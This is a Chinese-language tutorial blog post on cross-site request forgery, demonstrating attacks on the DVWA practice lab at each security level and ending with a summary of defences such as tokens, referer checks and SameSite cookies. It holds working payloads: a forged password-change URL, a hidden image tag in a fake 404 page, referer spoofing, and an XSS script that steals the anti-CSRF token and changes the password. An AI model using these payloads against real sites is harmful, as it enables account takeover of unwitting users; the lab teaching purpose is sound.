目录
什么是CSRF?
DVWA中的CSRF
low
medium
hight
impossible
防御CSRF
1、验证码
2、referer校验
4、Anti-CSRF-Token
什么是CSRF?
CSRF全称为跨站请求伪造(Cross-site request forgery),它是一种常见的Web攻击,下面我就来给大家通过学习+复习的方式介绍一下CSRF漏洞,并且会演示一下攻击过程和防御方案
用户在使用浏览器访问页面的操作,实际上是向服务器发送HTTP请求来实现的。
比如说有一个在一个博客中对一个博主的“添加关注”的操作就是向如下URL发起GET请求实现的:
http://example.com/follow?id=userid,这里的userid就是某个博主的id,正常用户是自己点击关注然后就访问该页面,但是如果被攻击者利用,用户在登录了example.com的前提下,然后访问了而已用户构造的恶意网站,网站中有一张指向www.example.com/follow?id=1111,那么浏览器就会带着用户的cookie发出了这个请求,然后就关注了id=1111的用户,但是这是在用户不知情的情况下执行的操作,这种攻击就是CSRF攻击
CSRF常见的利用场景:
1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
3、盗窃企业重要的具有商业价值的资料
4、非法转账
5、强制发送电子邮件
6、网站挂马 让更多人的受害
7、控制受害者机器向其它网站发起攻击
DVWA中的CSRF
下面我就使用DVWA中的不同级别的csrf来演示一下该漏洞的攻击:
low
首先将安全级别修改为low:
然后来到csrf这里:
可以看到这里我们在不输入原本密码的前提,就可以直接修改密码
那么来试试修改一下密码:
可以看到输入密码后就显示密码改变了,并且在url中也很明显可以看到更改时的url
那么现在我们就可以构造一个恶意的url:
http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#
如果将上面的URL发动给用户,用户肯定不会随意点击,但是如果我们将该url缩短一下,用户点击的概率就会大概率提升:
然后将该链接发送给用户,用户点击后,密码就会修改:
但是网站还是会提示我们,并且将原来的长连接显示出来,这里我就继续访问了:
点击后的页面:
现在我们退出后再次登录就会发现密码已经改变了
为了增加成功的概率也可以构造一个错误页面:
<img src=“http://192.168.159.1/dvwa-/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#” border=“0” style=“display:none;”/><h1>404<h1><h2>file not found.<h2>
看起来是一个404页面,但是当用户访问后,密码就会被修改了
medium
既然low没有任何难度,那么我们来到将安全级别修改为medium
等级修改完成,来到CSRF攻击页面,可以看到还是可以不要输入原密码,就可以直接修改密码
那么尝试使用上面的方法来尝试一下:
这里却爆出了说我们的请求看起来是错误的,那么到底是为什么呢?
我们来看看源代码:
<?phpif( isset( $_GET[ 'Change' ] ) ) {// Checks to see where the request came fromif( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {// Get input$pass_new = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update the database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the userecho "<pre>Password Changed.</pre>";}else {// Issue with passwords matchingecho "<pre>Passwords did not match.</pre>";}}else {// Didn't come from a trusted sourceecho "<pre>That request didn't look correct.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>
stripos()函数
:查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
通过与第一关的代码对比发现这里多了一个REFERER 字段,这里判断HTTP_REFERER中是否包含SERVER_NAME,HTTP_REFERER是Referer参数值,即来源地址 SERVER_NAME是host参数及主机ip名 ,因此这我们就必须要让Referer参数值中有主机名 :
我们可以对比一下在dvwa中修改密码和使用点击短链接来修改密码,浏览中referer字段的区别:
dvwa中修改:
短链接修改:
可以看到这两种方式修改时的referer是不同的,因此我们使用这种方法无法修改密码,但是仅仅使用referer来防御CSRF攻击是不行的,因为referer是可以被修改的,我们可以使用Burpsuite来抓包修改referer然后在发送就可以成功的修改了,下面演示一下:
在使用短链接方式访问的同时,使用Burpsuite抓包来修改referer:
抓到的数据包,修改referer后访问:
可以看到这样成功的绕过了referre限制,然后密码被修改了
hight
那么再将安全等级修改为hight看看csrf这里有什么变化:
可以看到这里还是可以不需要使用原本的密码就可以直接修改密码,但是我尝试了上面的两种方法都无法成功攻击,那么来看看源代码:
<?php$change = false;
$request_type = "html";
$return_message = "Request Failed";if ($_SERVER['REQUEST_METHOD'] == "POST" && array_key_exists ("CONTENT_TYPE", $_SERVER) && $_SERVER['CONTENT_TYPE'] == "application/json") {$data = json_decode(file_get_contents('php://input'), true);$request_type = "json";if (array_key_exists("HTTP_USER_TOKEN", $_SERVER) &&array_key_exists("password_new", $data) &&array_key_exists("password_conf", $data) &&array_key_exists("Change", $data)) {$token = $_SERVER['HTTP_USER_TOKEN'];$pass_new = $data["password_new"];$pass_conf = $data["password_conf"];$change = true;}
} else {if (array_key_exists("user_token", $_REQUEST) &&array_key_exists("password_new", $_REQUEST) &&array_key_exists("password_conf", $_REQUEST) &&array_key_exists("Change", $_REQUEST)) {$token = $_REQUEST["user_token"];$pass_new = $_REQUEST["password_new"];$pass_conf = $_REQUEST["password_conf"];$change = true;}
}if ($change) {// Check Anti-CSRF tokencheckToken( $token, $_SESSION[ 'session_token' ], 'index.php' );// Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = mysqli_real_escape_string ($GLOBALS["___mysqli_ston"], $pass_new);$pass_new = md5( $pass_new );// Update the database$insert = "UPDATE `users` SET password = '" . $pass_new . "' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert );// Feedback for the user$return_message = "Password Changed.";}else {// Issue with passwords matching$return_message = "Passwords did not match.";}mysqli_close($GLOBALS["___mysqli_ston"]);if ($request_type == "json") {generateSessionToken();header ("Content-Type: application/json");print json_encode (array("Message" =>$return_message));exit;} else {echo "<pre>" . $return_message . "</pre>";}
}// Generate Anti-CSRF token
generateSessionToken();?>
可以看到这里有多了几个防御手段:
1、判断提交的方式是否为POST
2、获取了了HTTP_USER_TOKEN
3、在密码中还使用了mysqli_real_escap_string函数对特殊字符进行了转义
4、并且对密码进行了md5加密
只有上面的条件都满足,才会执行密码修改操作
尝试访问了一下发现确实多了一个token字段:
这里攻击思路是试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而获得token值,并向服务器发送改密请求,完成攻击。
但是,因为浏览器并不允许跨域请求,我们可以利用xss漏洞来解决
点击XSS(Stored),我们需要构造一条语句来获取token,由于有字符数限制,这里有两种方法:
一是利用burp suite进行抓包,然后改参数,运行获取token。
二是利用火狐浏览器。
这里我使用第二种,火狐浏览器打开xss(Reflect)界面
然后构造代码提交:
iframe src="…/csrf"οnlοad=alert(frames[0].document.getElementsByName(‘user_token’)[0].value)>
然后就可以看到反弹出了token
然后我们在制造恶意链接的时候加上该token,使用抓包的方式修改然后转发就可以实现密码修改了
也可以利用DOM型的xss+CSRF佬实现密码修改:
xss.js:
alert(document.cookie);
var theUrl = 'http://127.0.0.1/vulnerabilities/csrf/';
if(window.XMLHttpRequest) {xmlhttp = new XMLHttpRequest();
}else{xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
var count = 0;
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange=function(){if(xmlhttp.readyState ==4 && xmlhttp.status==200){var text = xmlhttp.responseText;var regex = /user_token\' value\=\'(.*?)\' \/\>/;var match = text.match(regex);console.log(match);alert(match[1]);var token = match[1];var new_url = 'http://127.0.0.1/vulnerabilities/csrf/?user_token='+token+'&password_new=test&password_conf=test&Change=Change';if(count==0){count++;xmlhttp.open("GET",new_url,false);xmlhttp.send();}}
};
xmlhttp.open("GET",theUrl,false);
xmlhttp.send();
然后将xss.js放置于在攻击者的网站上:http://127.0.0.1/xss.js
最后CSRF结合同Security Level的DOM XSS,通过ajax实现跨域请求来获取用户的user_token,用以下链接来让受害者访问:
http://127.0.0.1/vulnerabilities/xss_d/?default=English #<script src="http://127.0.0.1/xss.js"></script>
impossible
最后来到了impossible级别了:这里尝试使用了上面三种方法都无法成功,看看源代码:
<?phpif( isset( $_GET[ 'Change' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$pass_curr = $_GET[ 'password_current' ];$pass_new = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Sanitise current password input$pass_curr = stripslashes( $pass_curr );$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_curr = md5( $pass_curr );// Check that the current password is correct$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );$data->execute();// Do both new passwords match and does the current password match the user?if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {// It does!$pass_new = stripslashes( $pass_new );$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update database with new password$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );$data->execute();// Feedback for the userecho "<pre>Password Changed.</pre>";}else {// Issue with passwords matchingecho "<pre>Passwords did not match or current password incorrect.</pre>";}
}// Generate Anti-CSRF token
generateSessionToken();?>
从代码中可以看到这里多了一个字段,原始的密码,这就要求攻击者要知道原本的密码,攻击者在不知道原始密码的情况下,无论如何都无法进行CSRF攻击,并且后面利用PDO技术防御因此本关暂时还是没有办法绕过的
防御CSRF
下面总结一下防御CSRF漏洞的几种方法:
1、验证码
因为CSRF是在用户不知情的情况下构造了网络请求,而验证码则需要用户必须与软件进行交互才能完成最终请求,因此验证码可以有效的防御CSRF攻击,但是处于用户的体验,网站如果给每个操作都设置验证码,则用户体验会非常的不好,因此这并不是完美的方案
2、referer校验
从上面的演示中也可以看到,使用referer字段可以有一定程度上防御csrf攻击,但是有一些浏览器因为要保护用户的个人隐私,禁止referer,并且referer是可以被修改的,如果攻击者使用iframe记载了data中的url,或者设置了Referer-Policy,都可以不发送referer,这些都会导致防御失效,因此使用refere校验只是防御csrf攻击的辅助手段
3、cookie的Samesite属性
SameSite是一个新的安全属性,服务端在Set-Cookie响应头中通过设置SameSite属性指示是否可以跨域请求中发送该cookie
它有三种值:
- None
不做任何限制,任何场景都会发送cookie,但是当SameSite为None时,要求cookie只能在HTTPS协议中发送
- LAX
在普通的跨域请求中都不发送cookie,但是导航到其他网站时会发送cookie
- Strict
完全禁止在跨站请求中发送cookie,只有当请求的站点与浏览器地址栏中URL中的域名同属一个站点时才会发生那个cookie
可以看到Samesite属性只是限制是否可以发送cookie,但是当我们将SameSite设置为LAX时,网站导航跳转和GET请求都会携带上cookie,这也会造成CSRF漏洞,但是如果设置为Stict虽然不会产生漏洞,但是用户的体验会非常差,因此这个Samesite属性也不是防御CSRF攻击的最佳方案
4、Anti-CSRF-Token
最终的防御方案就是Token了,CSRF攻击成功的原因就在于所有的参数都是可以被攻击者猜到的,攻击者猜到了参数,然后伪造数据就可以成功攻击,那么针对这一点token的解决方法就是让攻击者“猜不到”,token就是随机生成的一串字符,将其放在cookie或者session中,这样就攻击者就无法猜测出,这样就成功的防御了CSRF攻击